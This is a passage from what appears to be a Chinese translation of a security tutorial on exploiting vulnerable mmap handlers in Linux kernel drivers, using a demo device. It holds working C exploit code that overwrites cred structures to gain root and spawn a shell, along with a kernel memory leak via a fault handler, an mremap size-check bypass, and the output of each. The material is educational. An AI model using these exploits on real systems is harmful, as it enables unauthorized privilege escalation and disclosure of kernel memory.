printf("[+] UID: %d\n", uid);
;
unsigned int credIt = 0;
unsigned int credNum = 0;
while (((unsigned long)addr) < (mmapStart + size - 0x40))
{
credIt = 0;
if (
...
)
{
credNum++;
printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr,
credNum);

credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;

if (getuid() == 0)
{
puts("[+] GOT ROOT!");
break;
}
else
{
credIt = 0;

addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
}
}

addr++;
}
puts("[+] Scanning loop END");
fflush(stdout);

int stop = getchar();
return 0;
}

在我们触发漏洞之后,可以看到以下内容:

1
2
3
4
5
6
7
8
9
10
i$ ./mwr_client
[+] PID: 5286
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a973f04, credNum: 1

[+] Found cred structure! ptr: 0x11b7eeb44, credNum: 7
[+] GOT ROOT!
[+] Scanning loop END

我们可以看到输出中出现了“GOT ROOT”字符串,所以让我们来检查一下我们的exp是否真的起作用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat /proc/5286/status
Name: mwr_client
Umask: 0022
State: S (sleeping)
Tgid: 5286
Ngid: 0
Pid: 5286
PPid: 2939
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
FDSize: 256
Groups: 1000

CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

可以看到,UID和GID已经从1000变为0,这表明我们的漏洞能够发挥作用,并且成功获得了完整的root权限。

但是如果我们多次运行这个漏洞,会发现它每次都没有得到root权限。 获得root权限的成功率大约是五次漏洞利用中的四次,或者大约80%。
之前提到我们只映射了部分物理内存。 漏洞利用失败的原因是我们没有扫描整个内核内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# cat /proc/iomem
00000000-00000fff : reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c7fff : Video ROM
000e2000-000e2fff : Adapter ROM
000f0000-000fffff : reserved
000f0000-000fffff : System ROM
00100000-dffeffff : System RAM
bac00000-bb20b1e1 : Kernel code
bb20b1e2-bb91c4ff : Kernel data
bba81000-bbb2cfff : Kernel bss
dfff0000-dfffffff : ACPI Tables
e0000000-ffdfffff : PCI Bus 0000:00
e0000000-e0ffffff : 0000:00:02.0
f0000000-f001ffff : 0000:00:03.0
f0000000-f001ffff : e1000
f0400000-f07fffff : 0000:00:04.0
f0400000-f07fffff : vboxguest
f0800000-f0803fff : 0000:00:04.0
f0804000-f0804fff : 0000:00:06.0
f0804000-f0804fff : ohci_hcd
f0805000-f0805fff : 0000:00:0b.0
f0805000-f0805fff : ehci_hcd
fec00000-fec003ff : IOAPIC 0
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : reserved
'100000000-11fffffff' : System RAM

如果再看一下物理内存布局,可以看到其中一个系统RAM区域超出了我们的映射范围,所以无法扫描这个区域。通常这种情况是因为我们会受到mmap处理程序中的一些输入验证的限制

例如,我们能够映射1GB内存,但是可能无法控制物理地址。 这可以通过使用cred结构喷射轻松解决。

我们通过创建100-1000个子进程来完成这个任务,每个进程将检查它们的权限是否已经改变。 一旦子进程获得root权限,它将通知父进程并破坏这个扫描循环。 剩下的privesc步骤将为这个单独的子进程完成。

我们将省略cred喷射修改代码,以使漏洞代码更加清晰,相反,这将作为读者的练习。强烈建议您实施cred喷射实践,并看看它是多么简单和有效。

现在,让我们回到完成我们的漏洞利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int main(int argc, char * const * argv)
{
...
if (getuid() == 0)
{
puts("[+] GOT ROOT!");

credIt += 1; //Skip 4 bytes, to get capabilities
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;

execl("/bin/sh", "-", (char *)NULL);
puts("[-] Execl failed...");
break;
}
else
...
}
}
addr++;
}
puts("[+] Scanning loop END");
fflush(stdout);

int stop = getchar();
return 0;
}

上面的代码将覆盖五组功能,然后启动一个交互式shell。 以下可以看到我们的利用结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ ./mwr_client
[+] PID: 5734
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a9840c4, credNum: 1
[+] Found cred structure! ptr: 0x11a984904, credNum: 2
[+] Found cred structure! ptr: 0x11b782f04, credNum: 3
[+] Found cred structure! ptr: 0x11b78d844, credNum: 4
[+] GOT ROOT!
# id
uid=0(root) gid=0(root) groups=0(root),1000(lowpriv)
# cat /proc/self/status
Name: cat
Umask: 0022
State: R (running)
Tgid: 5738
Ngid: 0
Pid: 5738
PPid: 5734
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
FDSize: 64
Groups: 1000

CapInh: ffffffffffffffff
CapPrm: ffffffffffffffff
CapEff: ffffffffffffffff
CapBnd: ffffffffffffffff
CapAmb: ffffffffffffffff
Seccomp: 0

4.3 通过fault处理程序对mmap进行利用

在这个例子中,我们将利用mmap错误处理程序。 由于我们已经知道如何从易受攻击的mmap处理程序获取root权限,接下来将重点关注信息泄露问题。

这次驱动程序将对我们设置为read only权限:

1
2
$ ls -la /dev/MWR_DEVICE
crw-rw-r-- 1 root root 248, 0 Aug 24 12:02 /dev/MWR_DEVICE

并将使用以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
static struct file_operations fops =
{
.open = dev_open,
.mmap = simple_vma_ops_mmap,
.release = dev_release,
};

int size = 0x1000;
static int dev_open(struct inode *inodep, struct file *filep)
{
...
filep->private_data = kzalloc(size, GFP_KERNEL);
...
return 0;
}

static struct vm_operations_struct simple_remap_vm_ops = {
.open = simple_vma_open,
.close = simple_vma_close,
.fault = simple_vma_fault,
};

static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
vma->vm_private_data = filp->private_data;
vma->vm_ops = &simple_remap_vm_ops;
simple_vma_open(vma);

printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}
int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
struct page *page = NULL;
unsigned long offset;
printk(KERN_NOTICE "MWR: simple_vma_fault\n");
printk(KERN_NOTICE "MWR: vmf->pgoff: %lx, vma->vm_pgoff: %lx, sum: %lx,
PAGE_SHIFT: %x\n", (unsigned long)vmf->pgoff, (unsigned long)vma->vm_pgoff, ((vmf>pgoff << PAGE_SHIFT) + (vma->vm_pgoff << PAGE_SHIFT)), PAGE_SHIFT);

offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma>vm_pgoff
<< PAGE_SHIFT));
if (offset > PAGE_SIZE << 4)
goto nopage_out;
page = virt_to_page(vma->vm_private_data + offset);
vmf->page = page;
get_page(page);
nopage_out:
return 0;
}

具有只读驱动程序文件意味着我们将无法将内存映射为可写,并且只能读取映射的内存。

我们从分析驱动程序代码开始,可以看到驱动程序的open操作,名为dev_open的函数将简单地分配一个0x1000字节的缓冲区。 在simple_vma_ops_mmapmmap处理程序中,可以看到没有验证,并且将虚拟内存操作结构分配给请求的内存区域。 在这个结构中,我们找到了simple_vma_faultfault处理程序的实现。

simple_vma_fault函数首先计算触发故障的内存页的偏移量。 接下来,它通过添加先前分配的(vma> vm_private_data)缓冲区和offset变量来检索页面。 最后,检索到的页面被分配到vmf>page字段。 这将导致该页面被映射到发生故障的虚拟地址。

但是,在返回页面之前,将执行以下验证:

1
2
if (offset > PAGE_SIZE << 4)
goto nopage_out;

上面的验证检查是否在大于0x10000的地址发生故障,如果为true,则将禁止访问该页面。

如果我们检查驱动程序缓冲区的大小,可以看到这个值小于0x10000,因为在驱动程序中声明的缓冲区的大小是0x1000字节:

1
2
3
4
5
6
7
8
int size = 0x1000;
static int dev_open(struct inode *inodep, struct file *filep)
{
...
filep->private_data = kzalloc(size, GFP_KERNEL);
...
return 0;
}

这允许恶意进程请求位于驱动程序缓冲区之后的0x9000字节,从而导致内核内存被泄露。

让我们使用下面的代码来利用驱动程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void hexDump(char *desc, void *addr, int len);
int main(int argc, char * const * argv)
{
int fd = open("/dev/MWR_DEVICE", O_RDONLY);
if (fd < 0)
{
printf("[-] Open failed!\n");
return -1;
}
printf("[+] Open OK fd: %d\n", fd);

unsigned long size = 0x10000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ,
MAP_SHARED, fd, 0x0);
if (addr == MAP_FAILED)
{
perror("Failed to mmap: ");
close(fd);
return -1;
}

printf("[+] mmap OK addr: %lx\n", addr);
hexDump(NULL, addr, 0x8000); // Dump mapped buffer
int stop = getchar();
return 0;
}

代码看起来与驱动程序的标准用法类似。首先打开设备,mmap 0x10000字节,然后转储映射的内存(hexDump函数打印传递给stdout的缓冲区的十六进制表示)。

现在来看看漏洞的输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./mwr_client
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
2000 00 00 00 00 00 00 00 00 08 00 76 97 ae 90 ff ff ..........v.....
2010 08 00 76 97 ae 90 ff ff 18 00 76 97 ae 90 ff ff ..v.......v.....
2020 18 00 76 97 ae 90 ff ff 28 00 76 97 ae 90 ff ff ..v.....(.v.....
2030 28 00 76 97 ae 90 ff ff 00 00 00 00 00 00 00 00 (.v.............
2040 00 00 00 00 00 00 00 00 25 00 00 00 00 00 00 00 ........%.......
2050 00 1c 72 95 ae 90 ff ff 00 00 00 00 00 00 00 00 ..r.............

在输出中可以看到在偏移量0x2000处有一些数据。 驱动程序的缓冲区在偏移量0x1000处结束,因此读取超出此缓冲区意味着我们能够成功泄漏内核内存。

此外,可以在dmesg输出中看到我们已经访问了多页的内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[ 681.740347] MWR: Device has been opened 1 time(s)
[ 681.740438] MWR: Device simple_vma_ops_mmap
[ 681.740440] MWR: Simple VMA open, virt 42424000, phys 0
[ 681.740440] MWR: Device mmap OK
[ 681.740453] MWR: simple_vma_fault
[ 681.740454] MWR: vmf->pgoff: 0, vma->vm_pgoff: 0, sum: 0, PAGE_SHIFT: c
[ 681.741695] MWR: simple_vma_fault
[ 681.741697] MWR: vmf->pgoff: 1, vma->vm_pgoff: 0, sum: 1000, PAGE_SHIFT: c
[ 681.760845] MWR: simple_vma_fault
[ 681.760847] MWR: vmf->pgoff: 2, vma->vm_pgoff: 0, sum: 2000, PAGE_SHIFT: c
[ 681.765431] MWR: simple_vma_fault
[ 681.765433] MWR: vmf->pgoff: 3, vma->vm_pgoff: 0, sum: 3000, PAGE_SHIFT: c
[ 681.775586] MWR: simple_vma_fault
[ 681.775588] MWR: vmf->pgoff: 4, vma->vm_pgoff: 0, sum: 4000, PAGE_SHIFT: c
[ 681.776835] MWR: simple_vma_fault
[ 681.776837] MWR: vmf->pgoff: 5, vma->vm_pgoff: 0, sum: 5000, PAGE_SHIFT: c
[ 681.777991] MWR: simple_vma_fault
[ 681.777992] MWR: vmf->pgoff: 6, vma->vm_pgoff: 0, sum: 6000, PAGE_SHIFT: c
[ 681.779318] MWR: simple_vma_fault
[ 681.779319] MWR: vmf->pgoff: 7, vma->vm_pgoff: 0, sum: 7000, PAGE_SHIFT: c

4.4 通过fault处理程序对mmap进行利用-版本二

假设开发人员在前面的simple_vma_ops_mmap函数代码中引入了一个修补程序。 正如下面所看到的,新代码通过检查它小于0x1000来验证映射的大小。 从理论上讲,这会阻止我们以前的攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
unsigned long size = vma->vm_end - vma->vm_start;
printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
vma->vm_private_data = filp->private_data;
vma->vm_ops = &simple_remap_vm_ops;
simple_vma_open(vma);

if (size > 0x1000)
{
printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of
memory\n");
return -EAGAIN;
}

printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}

但是,尽管无法使用mmap创建大型映射,但该代码仍然可被利用。 我们可以将映射过程分成两步:

1. 调用大小为0x1000字节的mmap
2. 调用大小为0x10000字节的mremap

这意味着,我们创建一个0x1000字节的小映射,它将通过验证,然后使用mremap来扩大它的大小。 最后,我们可以像以前那样转储内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int main(int argc, char * const * argv)
{
int fd = open("/dev/MWR_DEVICE", O_RDONLY);
if (fd < 0)
{
printf("[-] Open failed!\n");
return -1;
}
printf("[+] Open OK fd: %d\n", fd);

unsigned long size = 0x1000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ,
MAP_SHARED, fd, 0x0);
if (addr == MAP_FAILED)
{
perror("Failed to mmap: ");
close(fd);
return -1;
}
printf("[+] mmap OK addr: %lx\n", addr);
addr = (unsigned int *)mremap(addr, size, 0x10000, 0);
if (addr == MAP_FAILED)
{
perror("Failed to mremap: ");
close(fd);
return -1;
}
printf("[+] mremap OK addr: %lx\n", addr);

hexDump(NULL, addr, 0x8000);

int stop = getchar();
return 0;
}

这个漏洞为我们提供了以下输出。 同样,可以看到我们能够转储原本无法读取的内存内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./mwr_client
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] mremap OK addr: 42424000
0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
4c00 25 b0 4d c3 00 00 00 00 25 c0 4d c3 00 00 00 00 %.M.....%.M.....
4c10 25 d0 4d c3 00 00 00 00 25 e0 4d c3 00 00 00 00 %.M.....%.M.....
4c20 25 f0 4d c3 00 00 00 00 25 00 4e c3 00 00 00 00 %.M.....%.N.....
4c30 25 10 4e c3 00 00 00 00 00 00 00 00 00 00 00 00 %.N.............
4c40 25 30 4e c3 00 00 00 00 25 40 4e c3 00 00 00 00 %0N.....%@N.....
...

5. 技巧和窍门

5.1 为赢而Fuzzing!

通常,在分析mmap处理程序时,会发现很多位掩码,位移和算术。这些操作可以很容易地错过某些可能允许攻击者绕过输入验证并获得对某些内存区域的无意访问的“magic”值。

有两个值需要fuzz:偏移量和映射的大小。 只有fuzz这两个值可以使我们能相对较快地fuzz驱动,允许我们尝试各种各样的值,以确保彻底测试潜在的边缘案例。

5.2 不同函数的同一个问题

在本文中,我们描述了remap_pfn_range函数及其fault处理程序用于创建内存映射的用法。

但是,这不是唯一可以利用这种方式的函数,并且还有许多其他函数可以被滥用以修改任意区域的内存。您无法通过专注于单一函数来保证驱动程序的安全。

其他具有类似功能的潜在的有趣函数包括:

1
2
3
4
5
6
7
vm_insert_page
vm_insert_pfn
vm_insert_pfn_prot
vm_iomap_memory
io_remap_pfn_range
remap_vmalloc_range_partial
remap_vmalloc_range

完整的函数列表在两个不同的内核版本中可能有所不同

5.3 在哪里能找到此类型的漏洞?

在这篇文章中,我们描述了一个设备驱动程序实现mmap处理程序的漏洞。 但是,几乎所有子系统都可以实现一个自定义的mmap处理程序。

您应该期望proc,sysfs,debugfs,自定义文件系统,套接字以及任何提供文件描述符的源文件都可以实现易受攻击的mmap处理程序。

而且,remap_pfn_range可以从任何系统调用处理程序调用,而不仅仅是mmap。 你一定会期望在ioctl的处理程序中也能找到这个功能。